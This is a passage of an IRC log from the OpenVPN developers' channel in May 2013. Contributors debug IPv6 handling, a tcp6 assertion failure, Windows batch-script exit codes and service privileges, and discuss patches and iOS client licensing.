06:34 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 06:34 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 06:55 <@vpnHelper> RSS Update - tickets: #287: Missing "build-key-pass.bat" file <https://community.openvpn.net/openvpn/ticket/287> 11:22 -!- jekader [~jekader@89.28.86.96] has joined #openvpn-devel 11:22 < jekader> hi all! 11:22 < jekader> happy openvpn user here :0 11:22 < jekader> just wanted to ask if someone has seen a firewalling plugin out there 11:23 < jekader> currently my setup works using RADIUS, gets routes from there and sends them to the client 11:23 < jekader> I'm thinking of a script that would parse the CCD upon connect and add according firewall rules 11:24 < jekader> just wanted to check here if anyone already implemented this 11:25 < jekader> will probably also post this on the main channel 12:12 <@ecrist> jekader: there's is a basic packet filter built in to openvpn 12:12 <@ecrist> otherwise, most any firewall will work. 12:12 <@ecrist> this is really a question for the main channel 12:49 -!- jekader [~jekader@89.28.86.96] has quit [Read error: Connection reset by peer] 12:49 -!- jekader [~jekader@89.28.86.96] has joined #openvpn-devel 12:51 -!- andj__ [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 12:51 -!- mode/#openvpn-devel [+o andj__] by ChanServ 12:52 -!- Netsplit *.net <-> *.split quits: @andj, MeanderingCode 12:52 -!- andj__ is now known as andj 12:53 -!- Netsplit over, joins: MeanderingCode 12:53 -!- jekader [~jekader@89.28.86.96] has quit [Read error: Connection reset by peer] 12:54 -!- jekader [~jekader@89.28.86.96] has joined #openvpn-devel 13:09 -!- Netsplit *.net <-> *.split quits: MeanderingCode 13:14 -!- Netsplit over, joins: MeanderingCode 13:42 -!- jekader [~jekader@89.28.86.96] has quit [Quit: Konversation terminated!] 13:52 -!- krzee [~k@openvpn/community/support/krzee] has quit [Excess Flood] 13:53 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 13:53 -!- mode/#openvpn-devel [+v krzee] by ChanServ 15:44 <@plaisthos> cron2: thanks for committing. Next thing on the todo list is now the snappy patch and after that I need to rebase the dual stack patches onto the new master branch :) 19:14 -!- raidz is now known as raidz_away 19:56 -!- DarylXian [f77G8hU0D0@bolt.sonic.net] has joined #openvpn-devel 19:58 < DarylXian> (wrong channel ..) Hi. I'm attempting to migrate a working v2.3.1 Openvpn server instance from an IPv4 stack to an IPv6 only stack. I've read the README/TODOs, and what I could find online. Launch is failing re: "Address family" -> http://pastebin.com/M34S2myR . With the *recent* code integration for IPv6 support, efore filing a bug, can someone with some IPv6 experience take a peek to see if it's my config? 20:00 < DarylXian> fwiw, v == 2.3.1 from upstream source ==> http://pastebin.com/2NdzcFjy 20:08 <+pekster> fwiw, you're likely to get more useful help in #openvpn since this is a far slower-paced channel related to development and sources, pre-release patches, APIs, etc 20:09 <+pekster> That said, listening locally for connections shouldn't be a problem: your "server" config looks like you're setting it up as a p2p node? 20:11 < DarylXian> pekster: Hi. hoping to ... THIS instance will be simply a persistent tunnel between my VPS and my local LAN. I *think* a p2p node is the right way ... 20:12 <+pekster> Sure, although usually you use an --ifconfig or --ifconfig-ipv6 stanza 20:12 < DarylXian> pekster: In the instance .conf? 20:14 <+pekster> Right. That said, it's fine to use a remote IPv6 IP (I just tested it locally and it works fine) so you have something else going on 20:15 <+pekster> (probably better to head back to #openvpn -- more people, and unless you had an actual development question about the source code, it's more on topic there) 20:15 <+pekster> Plus the EU folks won't wake up and have to read all the non-code scrollback ;) 20:16 < DarylXian> pekster: hm. well, replacing the "local 2600...1234; remote 2001...1234" with "ifconfig=ipv6 2600...1234 2001...1234" *seems* to have done the trick. no more error, at least. 20:16 < DarylXian> pekster: ok, thanks. 20:28 -!- DarylXian [f77G8hU0D0@bolt.sonic.net] has quit [Quit: DarylXian] --- Day changed Thu May 02 2013 02:04 * cron2 smells large confusion between "IPv6 inside" and "IPv6 outside"... (local/remote = outside, ifconfig = inside). But that is no more my mission in life 03:09 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 03:41 <@mattock> I created a topic list for today: https://community.openvpn.net/openvpn/wiki/Topics-2013-05-02 03:41 <@vpnHelper> Title: Topics-2013-05-02 – OpenVPN Community (at community.openvpn.net) 03:41 <@mattock> in case we want/can have a meeting today 03:44 <@cron2> let's postpone it to next week 03:44 <@cron2> seems we can get some of it done in the meantime without a "full blown" meeting, and I can't say yet whether I can make tonight 04:04 <@mattock> ok, sounds good, I'll send notice to openvpn-devel (we mentioned having a meeting today) 04:46 -!- dazo_afk is now known as dazo 05:05 <@d12fk> the finns, being awesome: http://i.imgur.com/gKZ89pa.gif 05:07 <@cron2> nice 05:09 <@dazo> cron2: mattock: I most likely won't be able to attend next week ... next Thursday is a public holiday in Norway and we already have some plans, so it depends on when we arrive home and how much energy I have left :) 05:18 <@d12fk> same in germay btw. fathersday 05:24 <@mattock> d12fk: that's very cool, my passport doesn't have that, though 05:25 <@mattock> dazo: ok, we'll see how many brains we can collect for next week 05:25 <@d12fk> mattock: is yours newer or the one in the gif 05:25 <@mattock> ah, father's day 05:27 <@mattock> d12fk: probably older (7 years) 05:28 <@d12fk> mattock: time to apply for a new one then, I want a demo at fosdem =) 05:29 <@cron2> mattock: week after that I'll be in Dublin 05:29 <@mattock> I can make you something similar myself, and give a demo :) 05:29 <@mattock> I've done those "animations" myselfs as a child 05:29 <@mattock> usually involving stick figures beating each other with a variety of weapons :P 05:30 <@d12fk> that seems to be an international phenomenon then =) 05:31 <@mattock> yup, "boys are boys" 05:31 <@mattock> -> lunch 06:46 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Remote host closed the connection] 06:47 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 06:47 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 07:06 <@d12fk> oh my all the win32 tun functions are ipv4 centric 07:14 <@cron2> there's lots of stuff inside openvpn that is still ipv4-only, all the "find current gateway" handling for example 07:29 <@plaisthos> hm 07:29 <@plaisthos> I got another mail about tap support in Android 07:30 <@plaisthos> but this time someone is interested in actually implementing it 07:40 <@cron2> plaisthos: did you want to send a patch for the RSA_generate_key() -> _ex() change? Just came across trac #197 07:44 <@plaisthos> cron2: I briefly looked into RSA_generate_key_ex and did not understand it 07:45 <@plaisthos> Since I have not much knowlege about how OPenSSL works 07:45 <@plaisthos> (Apart from very obscure stuff like engine support) 07:49 <@cron2> ic, so I misunderstood your discussion with dazo yesterday 07:49 * cron2 pokes syzzer instead 07:50 <@cron2> (since andj is hiding) 07:51 <@dazo> plaisthos: as openvpn supports --engine ... we should make use of the engine parameter to the _ex version ... otherwise (iirc) you can pass NULL, and it will use the default engine in OpenSSL 07:53 <@plaisthos> dazo: that has nothing to with engine support 07:53 <@plaisthos> engine support is only part of OpenSSL I had to understand 07:53 <@plaisthos> to support Android Keystore certificates in 4.1 07:53 <@plaisthos> which are implemented as openssl keystore engine 07:54 <@plaisthos> s/keystore// 07:54 <@dazo> right 07:55 <@dazo> well, it's some months since I last read the OpenSSL book ... but I vaguely remember that most of the _ex variants of RSA and misc other crypto functions were given an additional OpenSSL_engine parameter .... but my memory can fool me now :) 09:05 <@d12fk> cron2: is that just true for windows or any system? 09:08 <@d12fk> looks like any system 09:08 <@d12fk> how come nobody complained so far? all have dual stack? 09:11 <@cron2> d12fk: what? lack of full IPv6 support? Well, people either have "no IPv6", or "dual-stack", and even if they have IPv6 at all, they don't seem to be using redirect-gateway-for-IPv6 together with ipv6 transport... 09:12 <@d12fk> or routes that should not point to the tap32 adapter 09:13 <@cron2> or that 09:13 * d12fk see work ahaed of him when we offer ipv6 09:14 <@cron2> I think the most important bit for 2.4 is "redirect-gateway-for-ipv6 + ipv6 transport". As long you're just pushing routes to your internal IPv6 networks, it's all easy 09:15 <@d12fk> yes, will not touch anything while hacking for the service support 09:15 * d12fk won't open that can 09:41 < syzzer> I'll try to take a look at the RSA_generate_key[_ex] thingy this weekend, but work is piling up, so I cannot make any promises 09:44 <@plaisthos> syzzer: It is more a "nice to have" at the moment. 09:45 <@plaisthos> I just a ship a copy of the RSA_generatey_key implemtation 09:47 < syzzer> ah, okay. I'll see what I can do :) 10:29 -!- raidz_away is now known as raidz 11:24 <+pekster> mattock, any chance you have some experience with the win32.c openvpn_execve() ? I'm trying to figure out why an image launched through CreateProcessW() returns a different exit code than I get if I run the same command in a terminal on the system; it's just a .bat file with `exit 1` as the only line, but I'm seeing it exit 0 when I trace the process execution 11:27 <+pekster> Just before the CreateProcessW() I added a debugging msg() call, and it looks like this: cmd='c:\windows\system32\cmd.exe' cl='c:\windows\system32\cmd.exe /c auth\batch-auth.bat ' 11:29 <@dazo> d12fk: ^^ you might know this better :) 11:29 <+pekster> Ah, I just remembered one of the folks doing "windowsy things", thanks :) 11:30 <+pekster> Stupid Windows :(. This has been driving me nuts 11:31 <@d12fk> pekster: maybe it's cmd.exe that mangles the return value 11:31 <@d12fk> have you tried a simple c program instead 11:32 <+pekster> Sure, works fine. But the thing is I run that exact `cl` value from the CWD, and I get 1 in %errorlevel% 11:32 <+pekster> That's the bit I can't figure out 11:33 <@d12fk> if you run cmd.exe within cmd.exe you break the internet =) 11:34 <@d12fk> srsly: you get 0 in openvpn where you expect 1, right 11:34 <+pekster> Right, which clearly isn't a very welcome result when it lets "any" user in :P. Granted doing auth via batch is kinda silly, but I got the idea from bug #240 11:35 <+pekster> And really, it *should* work, from what I can tell 11:35 <+pekster> cmd.exe starts up normally from a ProcessMonitor (ms's systools thingy) with the right path, command line, cwd, and environment as expected. It just does everything it does when I run it manually, then exits code 0 11:36 <+pekster> (which is doesn't do when I run it manually) 11:45 <@d12fk> strange indeed, when i run the cmd from a mingw shell it return the correct exit status as well 11:49 <@d12fk> no idea why this would happen 11:51 <+pekster> Well, the work-around I can add to that bug for now is to wrap the cmd call in a compiled application and have openvpn call that instead, since that returns the expected exit. I don't know if there's something goofy with CreateProcessW not doing what we're expecting, or what else is going on 11:52 <+pekster> openvpn -> wrapper executable -> cmd -> batch script. :( 11:52 <@d12fk> wait why is the cmd cmd.exe and the cl has it again 11:52 <+pekster> It gets added automatically; here's the full line I have in the config: 11:53 <+pekster> auth-user-pass-verify "auth\\batch-auth.bat" via-env 11:55 <@d12fk> To run a batch file, you must start the command interpreter; set lpApplicationName to cmd.exe and set lpCommandLine to the following arguments: /c plus the name of the batch file. 11:55 <@d12fk> http://msdn.microsoft.com/en-us/library/windows/desktop/ms682425%28v=vs.85%29.aspx 11:55 <@vpnHelper> Title: CreateProcess function (Windows) (at msdn.microsoft.com) 11:56 <@d12fk> seems we're doing it wrong 11:56 <@d12fk> who knows 11:56 <@d12fk> win32 is the devil 11:56 <+pekster> Oh, so cl *shouldn't* have the command in there and needs to start with /c <thing_to_run> ? 11:56 <+pekster> Ugh 11:56 <@d12fk> maybe just in case of cmd.exe 11:57 <+pekster> Oh lovely, right, since we don't know *what* the user has passed 11:57 <+pekster> Icky 11:57 <@d12fk> there's so many exceptions in the apis and the docs are so vague sometimes only reversing them will give you clearity 11:58 <@d12fk> try hardcoding the values and see if ti helps 12:00 <@d12fk> afk until tomorrow, excited about the outcome 12:00 <@d12fk> cu 12:00 <+pekster> Sure, thanks for the pointers. If it works, I still won't be excited about what it means, but at least there's a path through the unmovable mountain :) 12:02 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 12:02 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 12:18 <+krzee> g'day james 13:39 -!- DarylXian [UuEgRrnSPQ@bolt.sonic.net] has joined #openvpn-devel 13:39 < DarylXian> Hi. When I switch a working IPv6 server config from 'proto udp6' -> 'proto tcp6', @ launch fails with "Assertion failed at socket.c:726". I 13:40 < DarylXian> m trying to get more debuggable info out of it. verb=11 doesn't help. 13:40 < DarylXian> What info do devs need in a bug report, and how/where do I get it? 13:51 -!- DarylXian [UuEgRrnSPQ@bolt.sonic.net] has quit [Quit: DarylXian] 14:00 <@cron2> "waiting for an answer" would be an idea, to start with 14:07 <@vpnHelper> RSS Update - tickets: #288: v2.3.1/IPv6 with proto tcp6 fails to launch; proto udp6 is OK. <https://community.openvpn.net/openvpn/ticket/288> 14:29 <@ecrist> heh 14:44 <+pekster> That one evidently didn't get the hint last time that such questions belong in the main channel 14:51 <@plaisthos> pekster: on a assertion failed #openvpn-devel isn't so bad since these things should not happen 14:52 <@plaisthos> cron2: proto tcp6 is okay actually 14:52 <@plaisthos> but I think I already know why it is broken 14:52 <@plaisthos> without looking in the code ;) 14:55 <@plaisthos> hm no 14:56 <@plaisthos> it is not what I suspected 14:56 <+pekster> So what's the intent with tcp6? To allow "either" side to initiate the connection, then use the server/client role for TLS (if using x509) from tls-server or tls-client? 14:57 <+pekster> I guess I don't get the use-case for it 15:00 <@plaisthos> proto tcp also works 15:00 <+pekster> `openvpn --proto bogus` shows interesting results, including an allowed proto of 'proto-uninitialied' :P 15:01 <+pekster> (I get it's just pulling from proto2ascii_all, but still not quite what's likely expected) 15:10 <+pekster> So, create_socket() doesn't support either 'tcp' or 'tcp6', and that help output appears too just dump everything in proto_num 15:10 <+pekster> to* 15:11 <+pekster> You sure that it's supposed to work? :) 15:11 <+pekster> Still bad to fail with an ASSERT though, at least if it accepts any of proto_num as valid input. Better to give the same message as with an undefined value 15:20 <+pekster> Ah, see options.c:1834. Maybe we need a similar check for v6? 15:22 <+pekster> Or re-think why we're including PROTO_TCPv{4,6} in the enumeration since they're only ever used to tell you 'you can't do that' or fail the ASSERT() when it falls through 15:24 <@cron2> pekster: seems we need that, yes 15:24 <+pekster> options.c:2356 too. That's the only valid use-case I see there, and it just makes it PROTO_TCPv4_{SERVER,CLIENT} internally anyway. So it does have a single edge-case that might break if it was completely removed 15:24 * cron2 seems to remember that --proto tcp is modified behind the scenes if --client or --server is used 15:25 <+pekster> Heh, I like confirming your thoughts a moment before you type them :P 15:25 <@cron2> exactly 15:25 <@cron2> yeah, that was pretty impressive :-) 15:25 <@cron2> seems you're the right candidate to implement --log-what-I-need-to-see ;-) 15:25 <+pekster> Still sorta silly when it's not supported in the first place. On a sligihtly related note, it blows up the same way if I use --proto proto-uninitialized 15:27 <+pekster> (do we want a catch for that too? :P And no, I promise I won't file a bug on it ;) 15:27 * cron2 grins ... but needs to go to bed now. g'night, folks 15:27 <+pekster> I'll update the bug if you haven't already 15:31 <@plaisthos> or let's wait for my dual stack 15:31 <@plaisthos> :) 15:37 <+pekster> I'm pretty sure this is easier to patch ;) 15:37 <@plaisthos> yeah 15:37 <@plaisthos> but the dual stack stuff heavily touches the structures as well 15:38 <@plaisthos> I might even have fixed this by accident 15:44 -!- dazo is now known as dazo_afk 15:48 <+pekster> Yea, 4 line patch to fix it. I'll send it to the ML 15:48 <+pekster> Then you can wipe it out later :) 18:06 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Ping timeout: 246 seconds] 18:22 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 18:22 -!- mode/#openvpn-devel [+v pekster] by ChanServ 19:46 -!- raidz is now known as raidz_away --- Day changed Fri May 03 2013 02:31 <@d12fk> is cron2 awake already? 02:32 <@d12fk> tried to cheat my way to setting a v6 route with the service for testing, but 02:34 <@d12fk> "delete_route_ipv6(): not deleting affe::1/128, no IPv6 on if Local Area Connection 4" 02:34 <@d12fk> i've ifconfig-ipv6'd though, and then 02:35 <@d12fk> "do_ifconfig, tt->ipv6=0, tt->did_ifconfig_ipv6_setup=1" 02:35 <@d12fk> is 02:35 <@d12fk> "ROUTE6: default_gateway=UNDEF" 02:35 <@d12fk> ^^ that the reason? 02:43 <@plaisthos> pekster: the dual stack patches fix that bug :) 02:43 <@plaisthos> since PROTO is split into protocol (tcp/dup) and family (ipv4/ipv6) 03:22 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 264 seconds] 03:24 <@cron2> moin 03:25 <@cron2> d12fk: well, you're showing the failure at *delete* - what does it say at "route add" time? How does "netstat -rn" look like? 03:25 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 03:25 -!- mode/#openvpn-devel [+v krzee] by ChanServ 03:26 <@d12fk> cron2: sais the same 03:27 <@cron2> the ifconfig succeeds, and is visible in "ipconfig" and "netstat -r"? 03:28 <@d12fk> the tap adapter has a v6 link local address 03:28 <@cron2> that it will always have 03:29 <@d12fk> but it shows that ipv6 is enabled at least 03:30 <@cron2> true, but maybe it wants a global IPv6 address to consider it "truly enabled" 03:30 <@cron2> never tried running windows with routes-over-linklocal-only 03:31 <@d12fk> um but shouldnt openvpn configure that address with ifconfig-ipv6 03:31 <@cron2> normally it does, no idea what *your* openvpn does... 03:32 <@d12fk> it could be related to netsh being run as a user 03:32 <@cron2> that won't work 03:33 <@cron2> needs admin rights 03:35 <@d12fk> oh fail, so all ipv6 is broken with the current service not providing msgs for itf stuff 03:36 <@d12fk> seems it needs to be extended =) 03:37 <@cron2> ayup :) 03:39 <@d12fk> fml =) 03:52 <@d12fk> could XP fucking die then at least... need air, brb 04:00 <@plaisthos> mattock: is there a reason you dropped the utun patch from the agenda? 04:00 <@mattock> plaisthos: no 04:00 <@mattock> probably a mistake 04:00 <@mattock> unless it was acked on the ml 04:00 <@plaisthos> mattock: then I will readd it :) 04:01 <@mattock> ok, great! 04:05 <@d12fk> cron2: why didn't you do it with ioctls like for v4 04:06 <@cron2> d12fk: because I have no idea how to do that. Running netsh.exe is something I can test from cmd.exe and then put into the C code... 04:07 <@cron2> the v4 code was done by James, and does "all of it" - DHCP, ioctl, netsh... - so I picked something that works, instead of implementing all of it again 04:07 <@d12fk> ok, so there was no technical hudles preventing you from doing so 04:08 <@cron2> d12fk: only knowledge (plus I actually *like* using commands that show up in the log so I can test by hand why something didn't work) 04:09 <@cron2> but don't let that stop you from doing it "right", whatever that means on windows :-) 04:10 -!- Netsplit *.net <-> *.split quits: @d12fk 04:11 -!- dazo_afk is now known as dazo 04:11 -!- Netsplit over, joins: d12fk 04:11 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 04:12 <@cron2> plaisthos: shall we merge pekster's patch into 2.3, and for 2.4, try to fix it with the dual-stack patch? 04:12 <@cron2> it's arguably a bug in 2.3, and I don't see us including the dual-stack patch there 04:13 <@plaisthos> put it into 2.3 and fix it with dual in 2.4 sound good to me 04:14 <@d12fk> cron2: currently the driver allowes non-admin access, with the service in place that could (maybe even should) be changed 04:14 <@d12fk> but i don't see it as a one shot process 04:15 <@cron2> d12fk: makes sense. If I do not have rights to call "netsh" to change IP addresses, why should I be able to ioctl() the driver to do that 04:15 <@plaisthos> cron2: with dual stack the if would become if (ce->proto == PROTO_TCP && ce->af == AF_INET) 04:16 <@plaisthos> and I fixed most of the cases where checking for ce->af in addition to proto is wrong or dubious at best 04:26 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 05:11 -!- kisom [~kisom@kisom.thr.kth.se] has joined #openvpn-devel 05:26 -!- raidz_away [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 255 seconds] 05:33 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 05:33 -!- mode/#openvpn-devel [+o raidz] by ChanServ 07:09 <@vpnHelper> RSS Update - tickets: #289: ip address isn't set on TAP device / TAP device not coming up on Windows 8 <https://community.openvpn.net/openvpn/ticket/289> 07:31 -!- dazo is now known as dazo_afk 09:38 -!- lhunath [~lhunath@unaffiliated/lhunath] has joined #openvpn-devel 09:38 < lhunath> Is the code for the OpenVPN Connect iOS app available anywhere? 09:43 -!- DarylXian [C2KAd3idSE@bolt.sonic.net] has joined #openvpn-devel 09:43 <@cron2> not really 09:44 <@cron2> it's based on OpenVPN 3 (which will be available "soonish"), but the iOS VPN API is under NDA, so you won't be able to build your own IOS OpenVPN app 09:46 < lhunath> because it's not yet released? 09:46 <@cron2> no, because it can not be released 09:46 < lhunath> what NDA is this? 09:46 <@cron2> OpenVPN 3 does contain "openvpn" but not what you need to talk to the iOS VPN API 09:47 <@cron2> Apple's 09:47 < DarylXian> Hi. I've been reading through the v2.3.1 source code trying to figure out IPv6 behavior. Afaict, if I'm setting up an "IPv6-only" server, using the "--server-ipv6" directive, I *MUST* also include the "--server" directive, including an IPv4 address+mask ("... --server-ipv6 must be used together with --server ...). My question is simply: WHY is any IPv4 info required at all in IPv6-only mode? I can't tell from code whether this is intention 09:47 < DarylXian> al, or an oversight/bug :-/ 09:47 <@cron2> "this API is secret and we're not telling you" 09:47 <@cron2> DarylXian: because nobody went through the code yet to find all places where it assumes that IPv4 is always there and made sure that nothing breaks if IPv4 is not there 09:47 <@cron2> "it's work to rip out IPv4" 09:47 < lhunath> so if I'm an iOS developer and sign the same NDA with Apple, because I'm also developing a VPN connection app, does that lift the restriction? 09:48 <@cron2> lhunath: that might help, yes (but the resulting API-using code would have to be proprietary again) 09:48 < lhunath> right. 09:48 < lhunath> so... isn't OpenVPN bound by the GPLv2? 09:48 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 09:48 -!- mode/#openvpn-devel [+v janjust] by ChanServ 09:48 <@cron2> so if you had that NDA, you'd need Apple to give OpenVPN tech the OK to give the source bits to you 09:48 <@cron2> lhunath: not OpenVPN 3 09:49 <@d12fk> lhunath: you'd also have to license openvpn 3 from the inc. since you can't release GPL code into app store 09:49 <@cron2> it's a complete new source base 09:49 < lhunath> right. 09:49 <@cron2> ummm, yes, what d12fk said, as well 09:49 <+janjust> ah, you've found the channel, lhunath 09:49 < lhunath> :-) 09:49 <@cron2> hey janjust :-) - did you see my push-peer-info stuff? 09:49 <+janjust> heey cron2 , no haven't seen it yet 09:49 <+janjust> was it in the devel meeting? 09:50 < DarylXian> cron2: So, for now, just enter it -- and ignore it? 09:50 < lhunath> one more thing, I assume OpenVPN Connect doesn't support auth-user-pass? 09:50 < lhunath> at least, when using it, the server isn't receiving the credentials 09:50 < lhunath> (via VPN on-demand) 09:50 <+janjust> you need *at least* a client side certificate; not sure if it supports auth-user-pass yet 09:51 < lhunath> I have a client-side certificate as well as a username/password. I specified it via iPhone Configuration Utility as auth-user-pass with value username\npassword, but the client isn't sending it 09:52 <+janjust> this is the wrong place to ask that , lhunath; use the forum for that, there's a section for the OpenVPN Connect clients. Not sure who's reading/answering that one, however 09:52 <@d12fk> auth-user-pass is taking a filename not the credential directly 09:53 < lhunath> so I assume that if it isn't implemented yet, there's no way for me to checkout the code, implement it, and contribute? 09:53 <+janjust> very true, d12fk 09:53 < lhunath> d12fk: for on-demand configuration, OpenVPN Connect treats the key-value data given to it by iOS specially 09:54 <+janjust> lhunath: what happens if you simply specify 'auth-user-pass' without any parameters? 09:54 < lhunath> as in, when the property takes a file, it uses the value as the file's content after replacing all literal \n's by newlines. 09:54 < lhunath> janjust: what would you expect? an error in the log? 09:55 <@d12fk> lhunath: where do you enter this data? 09:55 <+janjust> or, if you're lucky , it will prompt you for a username and password 09:57 <@cron2> janjust: the peer-info stuff was on the -devel list - I sent a patch to make it visible in the server environment 09:57 <@cron2> DarylXian: yes. Put some IPv4 transit addresses, no routing, and ignore it 09:57 <+janjust> finally! Sweet! I've got to start using -devel versions more often ;) 09:58 <@cron2> janjust: hasn't been commited yet, dazo wanted changes :-) but since you were the one initially investigating this, I thought it "might" interest you ;-) 09:59 <+janjust> hehe as soon as it's committed I'll check it out ; was this related to dazo's remark about me documenting all the undocumented stuff ;) 09:59 <@cron2> that was another obscure feature 10:00 -!- krzee [~k@openvpn/community/support/krzee] has quit [Excess Flood] 10:01 < DarylXian> cron2: Thanks 10:01 < lhunath> so where would I communicate with the iOS developers with regards to auth-user-pass? 10:02 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 10:02 -!- mode/#openvpn-devel [+v krzee] by ChanServ 10:02 -!- DarylXian [C2KAd3idSE@bolt.sonic.net] has quit [Quit: DarylXian] 10:02 <+janjust> lhunath: this *is* the right place to talk to the developers, but the iOS developers are seldomly found here; your best bet would be on thursday nights, I gather 10:03 < lhunath> night in what time zone? :-) 10:04 <+janjust> I'd try 20:00 UTC - the iOS developers are in Colorado/California but they do visit this forum in "their" morning hours 10:04 <@cron2> pekster: bah, your editor mangled tab/space in your patch, so it's not applying 10:04 < lhunath> -l! 10:05 <+krzee> jjk! 10:05 <+janjust> krzee! 10:05 < lhunath> more like, patch -l, to ignore whitespace. 10:06 <@cron2> lhunath: yeah, I could do that, but strongly prefer to just have non-garbled whitespace 10:07 < lhunath> absolutely 10:09 <+janjust> until next time, dudes :) 10:10 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Quit: Leaving] 10:11 <+pekster> cron2: Bleh, I can re-send 10:11 <@cron2> nah 10:11 <@cron2> fixed, just took me a while to find out why "git am" was refusing the patch 10:11 <+pekster> Oh, fixing my editor's mistakes? (actually, I tested now and it looks like a terminal c/p issue.) 10:12 <+pekster> Well thanks then. I guess I won't trust putty with whitespace conversions in the future, heh 10:12 <@cron2> yeah, terminal is more likely, because the single tab actually became *7* whitespaces 10:12 <+pekster> What a weird number. Thanks for the heads up on that 10:12 <@cron2> well, the patch had "space+tab", which looks like "8 spaces". if the editor had mangled it, it would have changed to "1+8"=9 :-) 10:13 <@cron2> pushed 10:13 <@cron2> no tending the other kids for a while 10:13 <@cron2> now 10:14 <@vpnHelper> RSS Update - testtrac: Fix proto tcp6 for server & non-P2MP modes <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=d0ccb982e1714c8dfefd6eacf0c6f899eb71b582> 10:20 -!- mattock is now known as mattock_afk 12:07 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 12:07 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 18:31 -!- krzee [~k@openvpn/community/support/krzee] has quit [Excess Flood] 18:32 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 18:32 -!- mode/#openvpn-devel [+v krzee] by ChanServ 20:12 -!- raidz is now known as raidz_away 23:59 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Quit: jamesyonan] --- Day changed Sat May 04 2013 09:28 <@plaisthos> urhg dual stack patches are more commits than I thought 09:28 <@plaisthos> about 20 09:28 <@plaisthos> altough half of them are fixes 09:51 <@cron2> the last batch you sent have only been 10... 09:53 <@cron2> any progress on the snappy patch? (2/5+5/5 belong together) 09:54 <@plaisthos> cron2: yeah people found bugs :) 09:54 <@cron2> how nasty of them 09:59 <@plaisthos> On a sidenote GNU C style with tabs and tabs-width 8 is driving me crazy 11:38 * cron2 is not very fond of GNU C style either 12:09 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 12:09 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 12:16 <+krzee> gnu c style? sounds like gang activity 12:16 <+krzee> you gangsters 14:22 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 17:35 <@plaisthos> krzee: people going gnu c style should be brought in by the police ;) --- Day changed Sun May 05 2013 05:17 -!- jamxNL [~jamx@086-194-045-062.dynamic.caiway.nl] has quit [Ping timeout: 248 seconds] 05:27 -!- Netsplit *.net <-> *.split quits: @dazo_afk, +novaflash, riddle 05:28 -!- Netsplit over, joins: @dazo_afk, riddle, +novaflash 05:33 -!- Netsplit *.net <-> *.split quits: @dazo_afk, +novaflash, riddle 05:34 -!- Netsplit over, joins: @dazo_afk, riddle, +novaflash 05:34 -!- Netsplit *.net <-> *.split quits: +krzee, EvilJStoker, chantra, @cron2, @andj, jgeboski 05:35 -!- riddle [riddle@us.yunix.net] has quit [Max SendQ exceeded] 05:40 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 05:40 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 05:40 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn-devel 05:40 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 05:40 -!- chantra [~chantra@unaffiliated/chantra] has joined #openvpn-devel 05:40 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 05:40 -!- ServerMode/#openvpn-devel [+voo krzee andj cron2] by calvino.freenode.net 05:46 <@cron2> anyone awake who understands git? 05:47 <@cron2> I'm wondering under which conditions "git branch -v" shows the [behind 5] thingie - I have a bunch of branches, some of them must be behind 30+ patches, but only 2 branches actually show that 05:51 <@plaisthos> cron2: it is only for remote tracking branches iirc 05:51 <@plaisthos> try git branch -vv 05:51 <@plaisthos> this shows if a branch has a remote tracking branch 05:59 <@cron2> interesting, seems I branched some of these from "elsewhere" - how can I see where something was branched from? 06:23 <@cron2> more interesting 06:23 <@cron2> the openvpn *server* sends peer-info towards the client as well 06:25 <@cron2> (which you wouldn't normally see as the client would ignore it, and an un-svn-patched server would need --push-peer-info to do so) 06:45 <@plaisthos> Interesting :) 06:47 <@plaisthos> cron2: about branching. No idea I use a gui for that. But http://stackoverflow.com/questions/1549146/find-common-ancestor-of-two-branches seems to work if you know that it was branched from origin/master 06:47 <@vpnHelper> Title: git - Find common ancestor of two branches - Stack Overflow (at stackoverflow.com) 06:48 <@cron2> oh shiiiit... 06:48 * cron2 is tangled in a convoluted mess of AS special functions... "env_filter_match()" 06:51 <@cron2> (in my tests, the peer info stuff is sent *twice* to management, so I removed the old code path. Now inside AS, it's not sent at all, because management->connection.env_filter_level is set and that will only forward very specific peer_info variables) 06:52 <@cron2> very specific *environment* variables, which the peer_info stuff is not 06:57 <@cron2> haha, "env-filter n" on the management interface, fully undocumented 06:58 <@plaisthos> yeah :/ 06:59 <@plaisthos> I will 